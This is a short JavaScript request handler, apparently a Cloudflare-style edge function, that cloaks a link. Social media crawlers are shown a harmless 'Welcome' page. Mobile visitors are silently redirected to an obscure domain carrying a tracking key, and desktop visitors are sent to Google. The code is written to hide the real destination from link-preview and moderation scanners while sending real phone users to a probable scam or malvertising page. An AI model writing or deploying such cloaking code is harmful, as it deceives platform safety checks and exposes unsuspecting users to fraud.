export async function onRequest(context) {
const request = context.request;
const userAgent = request.headers.get('user-agent') || '';
// 1. Check for Social Media Crawlers / Bots
const isSocialBot = /facebookexternalhit|Facebot|Twitterbot|Pinterest|LinkedInBot|WhatsApp|TelegramBot/i.test(userAgent);
if (isSocialBot) {
const htmlContent = `
Welcome
`;
return new Response(htmlContent, {
headers: { 'content-type': 'text/html;charset=UTF-8' },
});
}
// 2. Check for Mobile Users
const isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent);
if (isMobile) {
return Response.redirect("https://researchingsweatexit.com/e2sr0mbp98?key=13f6b38e63d9e99e9778277ccf0ff4f7", 302);
} else {
return Response.redirect("https://www.google.com", 302);
}
}